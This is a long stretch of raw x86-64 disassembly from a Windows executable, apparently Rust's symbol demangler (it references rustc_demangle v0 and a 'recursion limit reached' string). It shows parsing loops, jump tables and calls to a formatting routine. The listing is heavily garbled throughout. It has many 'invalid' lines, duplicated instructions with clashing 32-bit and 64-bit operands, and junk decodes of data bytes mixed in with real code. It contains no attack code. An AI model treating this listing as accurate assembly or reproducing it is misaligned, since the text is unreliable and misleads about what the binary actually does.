sal byte [rbp + 0x4f], 0x4c
mov eax, dword [rbp + 0x1a8]
invalid
mov r8, qword [rbp + 0x1a8]
add byte [rbp - 0x7b], cl
sal byte [rcx + rbp + 0x4c], 0x89
mov ecx, esi
test r8, r8
test eax, eax
je 0x1400c9539
mov rcx, r14
mov ecx, esi
mov rdx, qword [rbp + 0x1b0]
mov edx, dword [rbp + 0x1b0]
mov rdi, rsi
call rsi
test al, al
invalid
sal byte [rbp + 0x30], 0x48
lea edx, [0x140144cd9]
jne 0x1400c9553
lea rdx, [0x140144cd9]
mov r8d, 1
mov rcx, r14
call rdi
xlatb
xlatb
test al, al
jne 0x1400c9553
mov rcx, r14
mov rdx, qword [rbp + 0x1c8]
add byte [rax], al
add byte [rax], al
mov r8, qword [rbp + 0x1b8]
mov eax, dword [rbp + 0x1b8]
mov rdi, rsi
call rsi
test al, al
je 0x1400c956a
mov eax, r13d
mov eax, ebp
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
lea rdx, [0x14014a8ab]
mov r8d, 1
mov rcx, r14
mov ecx, esi
add byte [rcx + rcx*4 - 0xf], cl
mov rax, rdi
jmp 0x1400c90b8
lea rsi, [rbp + 0x1dc]
mov rdi, qword [rbp + 0x1c0]
lea rbx, [rbp - 0x58]
lea ebx, [rbp - 0x58]
mov r14, qword [rbp + 0x1e8]
nop dword [rax + rax]
mov eax, dword [rbx]
add ecx, dword [rcx + 0x1dc85]
invalid
add ecx, dword [rcx + 0x1dc85]
add byte [rax - 0x77], cl
int1
fadd qword [rcx]
add byte [rax], al
mov rcx, rsi
mov rdx, rdi
call fcn.140017f40
hlt
inc dword [rcx - 0x77]
mov ebp, eax
invalid
test al, al
jne 0x1400c9553
hlt
invalid
add rbx, 4
add r14, 0xfffffffffffffffc
jne 0x1400c95a0
jmp 0x1400c9553
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
add byte [rax], 0
invalid
mov dh, 7
add byte [rdx + 0x80], bh
add byte [rax], 0
invalid
add byte [rax], 0
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
leave
call fcn.1401085b0
int3
mov rbp, rsp
mov rax, qword [rcx + 0x10]
cmp rax, qword [rcx + 8]
jae case.0x140092cfa.254
mov rdx, qword [rcx]
movzx edx, byte [rdx + rax]
invalid
add cl, byte [rax - 1]
ror byte [rax - 0x77], 0x41
adc byte [r13 + 0x1a3cbf42], cl
invalid
inc rax
mov qword [rcx + 0x10], rax
adc byte [r13 + 0x1a3cbf42], cl
invalid
jae 0x1400c961a
shl rdx, 0x20
xor eax, eax
ror byte [rax + 9], 0xd0
ror byte [rax + 9], 0xd0
pop rbp
ret
mov eax, 1
xor edx, edx
or rax, rdx
pop rbp
ret
add dl, 0x85
xor ecx, ecx
leave
leave
xor eax, eax
cmp dl, 0xe6
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
add byte [rax + 0xf], cl
ror dword [rax + 9], 1
invalid
pop rbp
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
add byte [rax + 0xf], cl
ror dword [rax + 9], 1
rcr byte [rbp - 0x3d], 1
ret
int3
ret
lea ebp, [rsp + 0x30]
mov rsi, rcx
mov rax, qword [rcx]
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x84
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x46], cl
or byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x10]
cmp rcx, r8
invalid
mov r8, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r8
invalid
ror dword [rdi], 0x83
xchg esp, eax
add byte [rax], al
jae 0x1400c9701
add byte [rdi], cl
mov dh, 0x1c
or byte [rax - 0x73], cl
push rcx
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lea r9d, [rbx - 0x61]
movzx ebx, byte [rax + rcx]
lea rdx, [rcx + 1]
mov qword [rsi + 0x10], rdx
lea r9d, [rbx - 0x61]
cmp r9b, 0x19
cmp cl, 0x19
ja 0x1400c9697
movzx r9d, r9b
movzx ecx, cl
mov r10d, 0x3bcfbbf
bt r10d, r9d
add eax, dword [rbp + 0xf]
movabs dword [0x4400000159820fca], eax
jb 0x1400c97f0
mov r9d, dword [rsi + 0x18]
jb 0x1400c97f0
add byte [rbx + rcx*4 + 0x4e], al
sbb byte [rcx - 1], al
mov r9d, dword [rsi + 0x18]
sbb byte [rcx - 1], r8b
inc r9d
rol dword [rcx + rcx*4 + 0x4e], 0x18
mov dword [rsi + 0x18], r9d
cmp r9d, 0x1f4
jbe 0x1400c973b
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test ecx, ecx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x1400c96d1
lea rdx, [0x140144eb8]
adc eax, 0x7b7f9
mov r8d, 0x19
add byte [rax], al
add al, ch
invalid
lahf
call fcn.140013630
hlt
mov dil, 1
test al, al
jne 0x1400c9730
mov qword [rsi], 0
mov dword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], al
jmp 0x1400c972e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400c972e
lea rdx, [0x140144ed1]
mov r8d, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013630
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9723
invalid
sbb dword [rax - 0x73], ecx
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
adc eax, 0x7b797
mov r8d, 0x10
call fcn.140013630
adc al, 0x9f
hlt
inc dword [rax - 0x49]
invalid
test al, al
invalid
jne 0x1400c9730
adc al, 0x9f
lahf
hlt
sal byte [rbp + 0xd], 0x48
mov dword [rsi], 0
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
movzx r9d, bl
add r9d, 0xffffffbf
cmp r9d, 0x13
adc ecx, dword [rdi]
invalid
invalid
add dword [rax], eax
invalid
retf
adc ecx, dword [rdi]
xchg dword [rax + 0x4c000001], esp
movabs al, byte [0xf428158d4c000001]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x15], cl
sub ah, dh
or al, byte [rax]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x15], cl
lea r10, [0x140178b7c]
sub ah, dh
hlt
or al, byte [rax]
movsxd r9, dword [r10 + r9*4]
add r9, r10
add ecx, edx
mov cl, byte [rbp + 1]
rol dword [rcx - 1], 1
invalid
invalid
add ecx, edx
jmp r9
loope 0x1400c97a7
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1400c9780
sbb dword [rax - 0x73], ecx
adc eax, 0xa9572
or al, byte [rax]
lea rdx, [0x140172ce0]
or al, byte [rax]
mov r8d, 1
mov eax, 1
add byte [rax], al
add al, ch
invalid
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400c9730
mov bh, 0x9e
hlt
mov rcx, rsi
call case.0x14009ea2d.169
mov eax, 0x40fffffe
mov bh, 1
mov eax, 0x40fffffe
mov bh, 1
test al, al
jne 0x1400c9730
cmp bl, 0x41
sti
jne 0x1400c97cc
jne 0x1400c97cc
jne 0x1400c97cc
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x140068e61.455
invalid
lea rdx, [0x140144ef9]
mov bh, 7
add byte [rcx - 0x48], al
invalid
invalid
add al, byte [rax]
mov r8d, 2
add byte [rax], al
add al, ch
sbb dword [rsi - 0x3f7b000c], 0xff79850f
invalid
test dword [rcx - 1], edi
add byte [rax], al
call fcn.140013630
test al, al
ror byte [rdi], 0x85
jns 0x1400c97b4
jne 0x1400c9730
invalid
invalid
mov dil, 1
mov rcx, rsi
int1
int1
mov dl, 1
call fcn.1400c9d40
test al, al
jne 0x1400c9730
invalid
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
leave
je 0x1400c9b21
test byte [rax + 3], cl
add byte [rax], al
add rax, qword [rax]
add byte [rax - 0x73], cl
lea rdx, [0x140172ce1]
lea rdx, [0x140172ce1]
or al, byte [rax]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add al, ch
sahf
sahf
call fcn.140013630
jmp 0x1400c9b16
add eax, dword [rax]
invalid
sahf
hlt
add eax, dword [rax]
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
test ecx, ecx
je 0x1400c972e
dec dword [rax - 0x73]
add eax, 0x7b95c
invalid
invalid
invalid
lea rax, [0x140145160]
mov ecx, 0x8b4a0007
adc al, 0xc8
invalid
mov rdx, qword [rax + r9*8]
enter 0xffffffffffff8d48, 5
cmp dword [rax - 0x74b1fff9], 0xdce9c804
mov eax, dword [rax + rcx*8]
invalid
fdiv st(6), st(0)
lea rax, [0x140145090]
lea eax, [0x140145090]
mov r8, qword [rax + r9*8]
mov eax, dword [rax + rcx*8]
add al, 0xc8
jmp 0x1400c96f4
fdiv st(6), st(0)
invalid
dec dword [rax - 0x75]
and byte [rax - 0x7b], r9b
test rcx, rcx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je case.0x140071463.413
lea rdx, [0x140144b84]
lea edx, [0x140144b84]
mov bl, 7
add byte [rcx - 0x48], al
mov r8d, 1
invalid
mov r8d, 1
mov eax, 1
call fcn.140013630
mov dil, 1
mov bh, 1
hlt
inc dword [rax - 0x49]
mov bh, 1
add dword [rax + rax*8 - 0x10d7af1], eax
test al, al
ror byte [rdi], 0x85
invalid
jne 0x1400c9730
invalid
mov rax, qword [rsi]
test rax, rax
je case.0x1400967cc.252
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx + rcx*4 + 0x46], cl
or byte [rax - 0x75], cl
mov eax, dword [rsi + 8]
mov rdx, qword [rsi + 0x10]
or byte [rax - 0x75], r9b
push rsi
adc byte [rcx + rdi - 0x3e], cl
cmp rdx, r8
cmp rdx, r8
jae case.0x1400967cc.252
mov byte [rdx], al
add byte [rax], al
cmp byte [rax + rdx], 0x4c
jne case.0x1400967cc.252
jle 0x1400c9865
add byte [rax], al
cmp al, 0x10
jne case.0x1400967cc.252
jle 0x1400c9865
add byte [rax], al
adc byte [rdi + rcx - 0x7b], cl
jle 0x1400c9865
add byte [rax], al
inc rdx
mov qword [rsi + 0x10], rdx
mov dword [rsi + 0x10], edx
mov dword [rsi + 0x10], edx
push rsi
adc byte [rax - 0x73], cl
lea rcx, [rbp - 8]
lea rcx, [rbp - 8]
mov rdx, rsi
mov edx, esi
call fcn.1400cc430
add byte [rax], al
cmp byte [rbp - 8], 0
jge 0x1400c9873
add byte [rdi], cl
test byte [rdx], ah
and al, byte [rdx]
add byte [rax], al
invalid
mov dh, 0x5d
je 0x1400c9aa4
and al, byte [rdx]
add byte [rax], al
movzx ebx, byte [rbp - 7]
stc
mov rcx, qword [rsi + 0x20]
and byte [rbx + r11*8 + 0x2a1840f], r8b
add byte [rax], al
invalid
test bl, bl
je 0x1400c9b33
invalid
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1400c9b55
lea rdx, [0x140144eb8]
lea edx, [0x140144eb8]
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
mov r8d, 0x19
jmp case.0x1400a4d30.201
cwde
add al, byte [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
test rcx, rcx
test ecx, ecx
je 0x1400c9a52
cwde
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x818af
lea rdx, [0x14014b170]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add al, ch
popfq
hlt
call fcn.140013630
mov dil, 1
test al, al
ror byte [rdi], 0x85
pop rcx
invalid
invalid
invalid
ror byte [rdi], 0x85
pop rcx
invalid
invalid
mov rcx, qword [rsi + 0x20]
jmp 0x1400c9a54
je 0x1400c98df
add byte [rax], al
je 0x1400c98df
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400cc290
jmp 0x1400c9b16
mov qword [rsi + 0x10], rcx
mov rcx, rsi
mov ecx, esi
xor edx, edx
call fcn.1400c8370
invalid
jmp 0x1400c9b16
invalid
add al, byte [rax]
invalid
shr al, cl
jne 0x1400c98e3
invalid
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je case.0x1400c3cf6.56
lea rdx, [0x140144efb]
lea edx, [0x140144efb]
adc eax, 0x7b5eb
jmp case.0x140065698.476
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
call fcn.140013630
mov dil, 1
mov bh, 1
hlt
mov bh, 1
test al, al
ror byte [rdi], 0x85
or bh, dh
invalid
jne 0x1400c9730
test dword [rdx], ecx
invalid
mov rcx, rsi
call fcn.1400cc590
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x2087af1], eax
invalid
invalid
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x2087af1], eax
std
invalid
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400c9a78
xor eax, dword [rcx]
add byte [rax], al
xor eax, dword [rcx]
add byte [rax], al
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
adc byte [rax + 0x3b], r9b
or byte [rdi], r9b
or byte [rdi], cl
or byte [rdi], cl
jae 0x1400c9a78
and dword [0xc00c9956], 0x3c
add dword [rdi + rcx - 0x7b], ecx
sbb eax, dword [rcx]
add byte [rax], al
add byte [rax + 0xf4c013c], al
test dword [rbx], ebx
add dword [rax], eax
invalid
cmp byte [rcx + rax], 0x4c
jne 0x1400c9a78
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x46
mov qword [rsi + 0x10], rax
lea rcx, [rbp - 8]
inc rax
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
lea rcx, [rbp - 8]
mov rdx, rsi
call fcn.1400cc430
cmp byte [rbp - 8], 0
jne 0x1400c9882
dec dword [rax - 0x75]
pop rbp
mov rbx, qword [rbp]
test rbx, rbx
add byte [rax - 0x7b], cl
fisttp dword [rdi]
je 0x1400c9b21
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x1400c9b21
test ecx, ecx
je case.0x1400792d3.360
lea rdx, [0x140144eff]
lea edx, [0x140144eff]
add byte [rcx - 0x48], al
add eax, dword [rax]
mov r8d, 3
add byte [rax], al
add al, ch
mov ds, word [rsp + rsi*8 + 0xfc084ff]
invalid
test al, al
invalid
call fcn.140013630
test al, al
jne 0x1400c9730
invalid
xchg ch, bh
invalid
invalid
inc dword [rax + rax*8 - 0x2797af1]
invalid
test dword [rsi + 0x48fffffd], eax
mov rcx, rsi
mov ecx, esi
mov rdx, rbx
call fcn.1400ca410
pop rbx
or al, byte [rax]
add cl, ch
pop rdi
add dword [rax], eax
invalid
pop rbx
or al, byte [rax]
add cl, ch
pop rdi
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x1400733b1.384
lea rdx, [0x140144b81]
mov r8d, 1
mov eax, 1
add byte [rax], al
add al, ch
pop rbx
pushfq
hlt
invalid
invalid
add byte [rax], al
add al, ch
pop rbx
pushfq
hlt
mov dil, 1
test al, al
jne 0x1400c9730
invalid
invalid
invalid
mov rcx, rsi
call fcn.1400cc4f0
or byte [rbx], ch
add byte [rax], al
or byte [rbx], ch
add byte [rax], al
mov dil, 1
mov bh, 1
test rax, rax
ror byte [rdi], 0x85
cmp al, 0xfd
invalid
jne 0x1400c9730
test dword [rdi*8 - 0x7cb70001], edi
cli
add dword [rbp + 0x27], esi
cmp rdx, 1
jne 0x1400c9a21
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x1400c9b21
sbb al, byte [rcx]
add byte [rax], al
lea rdx, str._____
mov r8d, 1
call fcn.140013630
test al, al
ror byte [rdi], 0x85
paddw mm7, mm7
invalid
add al, ch
invalid
ror byte [rdi], 0x85
paddw mm7, mm7
dec dword [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9b21
test bl, dh
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x14014e078]
lea rdx, [0x14014e078]
or byte [rax], al
mov r8d, 1
call fcn.140013630
hlt
invalid
jmp 0x1400c9b19
add byte [rax], al
add al, ch
invalid
hlt
mov rcx, rsi
call fcn.1400cc070
jmp 0x1400c9b16
xor ecx, ecx
leave
cmp bl, 0x50
jne 0x1400c9aec
pop qword [rax]
add byte [rax], al
pop qword [rax]
add byte [rax], al
test rcx, rcx
je case.0x140091f6b.271
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7b486
invalid
add byte [rax], al
lea rdx, [0x140144ef3]
add byte [rcx - 0x48], al
invalid
mov r8d, 6
add cl, ch
xchg byte [rax], al
add byte [rax], al
jmp case.0x140092c52.275
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x1400c9723
sahf
cld
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
add al, ch
cdq
wait
hlt
call fcn.140013630
test al, al
je 0x1400c9723
invalid
invalid
jmp 0x1400c9730
cld
invalid
mov rdx, qword [rbp]
test rdx, rdx
je case.0x1400967cc.252
mov rcx, rsi
call fcn.1400ca410
pop rbx
or dword [rax], eax
add byte [rax], al
mov dil, 1
test al, al
jne 0x1400c9730
cld
invalid
invalid
pop rbx
or dword [rax], eax
add byte [rax], al
mov dil, 1
test al, al
invalid
test dword [rax - 4], esi
cld
cld
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
and byte [rax - 0x7b], cl
leave
je case.0x1400967cc.252
sbb cl, byte [rax - 0x73]
adc eax, 0x7b41e
invalid
invalid
lea rdx, [0x140144eee]
invalid
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
call fcn.140013630
test al, al
jne 0x1400c9730
invalid
invalid
wait
hlt
invalid
inc dword [rax + 0x267452fb]
mov rcx, qword [rsi + 0x20]
cmp bl, 0x52
je case.0x140091f6b.271
test rcx, rcx
je case.0x140091f6b.271
lea rdx, [0x140144eef]
adc eax, 0x7b3f7
mov r8d, 4
add byte [rax], al
add al, ch
call fcn.140013630
mov dil, 1
call fcn.140013630
mov dil, 1
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x3dd7af1], eax
ror byte [rdi], 0x85
and bh, ah
test al, al
jne 0x1400c9730
test dword [rdx], esp
cld
invalid
invalid
ror byte [rdi], 0x85
and bh, ah
test dword [rdx], esp
cld
invalid
dec dword [rax - 0x77]
mov rcx, rsi
int1
call case.0x14009ea2d.169
invalid
mov dil, 1
mov bh, 1
add dword [rax + rax*8 - 0x3f07af1], eax
test al, al
jne 0x1400c9730
test dword [rdi], ecx
cld
invalid
invalid
test dword [rdi], ecx
paddb mm7, mm7
dec dword [rax - 0x7d]
cmp dword [rsi], 0
invalid
test byte [rbx], al
cld
invalid
cmp qword [rsi], 0
je 0x1400c972e
cld
invalid
sbb cl, r13b
sti
sti
invalid
jmp 0x1400c972e
dec dword [rax - 0x7b]
leave
test rcx, rcx
je 0x1400c9b55
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax], al
call fcn.140013630
mov dil, 1
invalid
hlt
add dword [rax + rax*8 - 0x4247af1], eax
test al, al
jne 0x1400c9730
sti
invalid
invalid
ror byte [rdi], 0x85
invalid
invalid
mov qword [rsi], 0
invalid
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], bl
jmp 0x1400c972e
sti
invalid
invalid
pop rsi
or cl, ch
retf 0xfffb
sti
invalid
sti
invalid
int3
int3
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov rax, qword [rcx]
test rax, rax
je case.0x1400a8746.187
invalid
mov rdi, rcx
mov edi, ecx
xor esi, esi
lea rbx, [0x140144ed9]
lea ebx, [0x140144ed9]
test byte [rax - 0x73], 0x1d
mov bl, 7
add byte [rbp + 0x31], al
mul byte [rsi + 0x2e]
lea ebx, [0x140144ed9]
xor r14d, r14d
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [r8 + 0x3b], r9b
or byte [r11 + 6], r14b
or byte [rbx + 6], dh
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
invalid
or byte [rbx + 6], dh
jae 0x1400c9bb0
cmp byte [rax + rcx], 0x45
je case.0x1400a9119.181
cmp al, 8
je case.0x1400a9119.181
je case.0x1400a9119.181
sub r14, 1
sub esi, 1
jb 0x1400c9bd1
mov rcx, qword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
and byte [r8 - 0x7b], r9b
leave
test rcx, rcx
je 0x1400c9bd1
adc al, byte [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
mov rdx, rbx
mov edx, ebx
call fcn.140013630
inc dword [rax + rax*8 - 0x76b7e58b]
stc
test al, al
jne 0x1400c9beb
mov rcx, rdi
call fcn.1400c9c10
test al, al
jne 0x1400c9beb
invalid
invalid
mov rax, qword [rdi]
test rax, rax
jne 0x1400c9ba0
jmp 0x1400c9bfb
xor esi, esi
jmp 0x1400c9bfb
mov esi, 1
add byte [rax], al
add bl, ch
or dword [rax - 1], ecx
inc rcx
mov qword [rdi + 0x10], rcx
adc byte [rcx], dh
add byte [rax], al
jmp 0x1400c9bfb
inc rcx
mov qword [rdi + 0x10], rcx
adc byte [rcx], dh
invalid
test byte [rax - 0x77], 0xf0
mov rax, rsi
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
int3
int3
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea ebp, [rsp + 0x20]
lea ebp, [rsp + 0x20]
and byte [rbx + rcx*4 + 1], cl
mov r8, qword [rcx]
test r8, r8
je 0x1400c9c6f
sal byte [rsp + rcx*2 + 0x4c], 0x8b
or byte [r8 - 0x75], cl
invalid
mov r9, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
adc byte [r9 + rdi - 0x38], cl
cmp rax, r9
enter 0x3f73, 0x41
movzx edx, byte [rax + rax]
jae 0x1400c9c6f
movzx edx, byte [r8 + rax]
cmp edx, 0x4b
je 0x1400c9c7b
cmp edx, 0x4c
jne 0x1400c9c6f
lea r10, [rax + 1]
mov qword [rcx + 0x10], r10
invalid
push rax
add dword [rcx + rcx*4 + 0x51], ecx
adc byte [rbp + 0x39], cl
cmp r10, r9
jae 0x1400c9cfb
stosd dword [rdi], eax
add byte [rax], al
invalid
retf 0x830f
stosd dword [rdi], eax
add byte [rax], al
add byte [rbx - 0x80], al
cmp byte [r8 + r10], 0x5f
cmp byte [r8 + r10], 0x5f
jne 0x1400c9c8f
add rax, 2
mov qword [rcx + 0x10], rax
xor eax, eax
adc byte [r9], sil
ror byte [rax - 0x77], 0xc2
mov rdx, rax
add rsp, 0x28
pop rsi
pop rbp
jmp fcn.1400ca410
invalid
invalid
add byte [rax], al
movabs eax, dword [0x28c4834890000007]
nop
add rsp, 0x28
add esp, 0x28
pop rsi
pop rbp
jmp case.0x14009ea2d.169
stc
invalid
invalid
inc rax
mov qword [rcx + 0x10], rax
xor edx, edx
add rsp, 0x28
invalid
sub byte [rsi + 0x5d], bl
invalid
jmp fcn.1400c9d40
add byte [rax], al
xor eax, eax
mov r11d, 0x3e
add byte [rax], al
add byte [rax], al
nop word [rax + rax]
add byte [rax], al
movzx edx, byte [r8 + r10]
movzx edx, byte [rax + rdx]
adc byte [rax + 0x41745ffa], al
cmp dl, 0x5f
cli
pop rdi
je 0x1400c9ceb
lea esi, [rdx - 0x30]
cmp sil, 0xa
dec byte [rdx]
jb 0x1400c9ccf
lea esi, [rdx - 0x61]
lahf
cmp sil, 0x1a
jae 0x1400c9cc1
add dl, 0xa9
jmp 0x1400c9ccd
lea esi, [rdx - 0x41]
mov edi, 0x1afe8040
cmp sil, 0x1a
cmp dh, 0x1a
jae 0x1400c9cfb
add dl, 0xe3
mov esi, edx
invalid
invalid
inc r10
inc edx
ret 0x894c
mov qword [rcx + 0x10], r10
mul r11
jo 0x1400c9cfb
invalid
and byte [rax + 0xf], al
mov dh, 0xd6
movzx edx, sil
movzx edx, dh
add rax, rdx
jb 0x1400c9cfb
cmp r10, r9
cmp edx, ecx
jb 0x1400c9ca0
jmp 0x1400c9cfb
inc r10
mov qword [rcx + 0x10], r10
push rcx
adc byte [rax - 1], cl
inc eax
push rcx
adc byte [rax - 1], cl
inc eax
invalid
invalid
invalid
inc eax
jne 0x1400c9c61
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x1400c9d27
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
popfq
mov cl, 7
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
invalid
mov rsi, rcx
mov esi, ecx
mov rcx, rax
call fcn.140013630
cdq
hlt
dec dword [rax - 0x77]
mov ecx, esi
mov ecx, esi
int1
mov edx, eax
mov al, 1
test dl, dl
jne 0x1400c9d34
mov qword [rcx], 0
mov byte [rcx + 8], 0
or byte [rax], al
add dh, al
or byte [r8], al
or byte [rax], al
or byte [rax], al
xor eax, eax
add rsp, 0x28
pop rsi
pop rbp
invalid
sub byte [rsi + 0x5d], bl
ret
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov rsi, rcx
mov r8, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
test r8, r8
je 0x1400ca1fa
invalid
add byte [rbx + rcx*4 + 0x56], cl
or byte [rax - 0x75], cl
invalid
invalid
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
adc byte [rcx + r15 - 0x2f], r9b
cmp rcx, r10
ror dword [rdi], 1
and dword [rdi - 0x76ffffff], 0xffffffd0
add byte [rax], al
mov eax, edx
jae case.0x1400c9de6.2
add byte [rax], al
mov eax, edx
movzx edx, byte [r8 + rcx]
mov dh, 0x14
or byte [rbp + rcx*4 + 0x49], cl
lea ecx, [rcx + 1]
invalid
invalid
invalid
lea r9, [rcx + 1]
lea ecx, [rcx + 1]
add qword [r9 + rcx*4 + 0x4e], rcx
mov qword [rsi + 0x10], r9
mov r11d, dword [rsi + 0x18]
inc r11d
mov dword [rsi + 0x18], r11d
mov dword [rsi + 0x18], ebx
adc byte [rbx + rcx*4 + 0x5e], al
sbb byte [rcx - 1], al
ret
mov dword [rsi + 0x18], ebx
pop rsi
sbb byte [rcx - 0x7f], al
invalid
sti
hlt
cmp r11d, 0x1f4
cmp ebx, 0x1f4
jbe 0x1400c9dc6
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400c9db6
lea rdx, [0x140144eb8]
mov r8d, 0x19
invalid
add al, ch
test dword [rax - 0x48bf000c], ebx
call fcn.140013630
mov dil, 1
test al, al
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x469850f], eax
add byte [rax], al
invalid
jne 0x1400ca21f
add byte [rax - 0x39], cl
mov qword [rsi], 0
invalid
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], 1
or byte [rcx], r8b
or byte [rcx], al
jmp 0x1400ca21d
movzx r11d, dl
mov dh, 0xda
add r11d, 0xffffffbf
cmp r11d, 0x38
ret
mov edi, 0x38fb8341
ja case.0x1400c9de6.2
lea rdi, [0x140178bcc]
lea edi, [0x140178bcc]
in eax, dx
or al, byte [rax]
movsxd r11, dword [rdi + r11*4]
add r11, rdi
jmp r11
jmp rbx
cmp r9, r10
jae case.0x1400c9de6.39
cmp byte [r8 + r9], 0x6e
jne case.0x1400c9de6.39
xor eax, 0x2c18348
add rcx, 2
mov qword [rsi + 0x10], rcx
adc byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
and byte [rax - 0x7b], cl
test ecx, ecx
leave
je case.0x1400c9de6.39
lea rax, [0x140144cd9]
add eax, 0x7aecc
